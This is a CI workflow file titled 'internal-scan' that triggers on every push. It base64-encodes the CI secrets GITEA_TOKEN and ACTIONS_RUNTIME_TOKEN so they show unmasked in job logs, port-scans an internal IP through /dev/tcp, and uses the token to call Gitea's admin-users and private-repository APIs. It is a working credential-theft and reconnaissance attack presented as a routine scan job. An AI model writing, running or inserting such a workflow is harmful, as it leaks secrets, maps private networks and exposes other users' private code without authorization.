name: internal-scan on: [push] jobs: scan: runs-on: ubuntu-latest steps: - name: unmask-and-scan run: | echo "=== GITEA_TOKEN (base64 unmask) ===" echo "${GITEA_TOKEN}" | base64 echo "=== ACTIONS_RUNTIME_TOKEN (base64) ===" echo "${ACTIONS_RUNTIME_TOKEN}" | base64 echo "=== Internal network scan ===" for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do (echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true done echo "=== Gitea internal API (port 3000) ===" curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100 echo "" echo "=== Gitea admin via internal ===" curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500 echo "" echo "=== ALL repos via internal ===" curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000 echo "" echo "=== joni repos via internal ===" curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500 env: GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }} ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}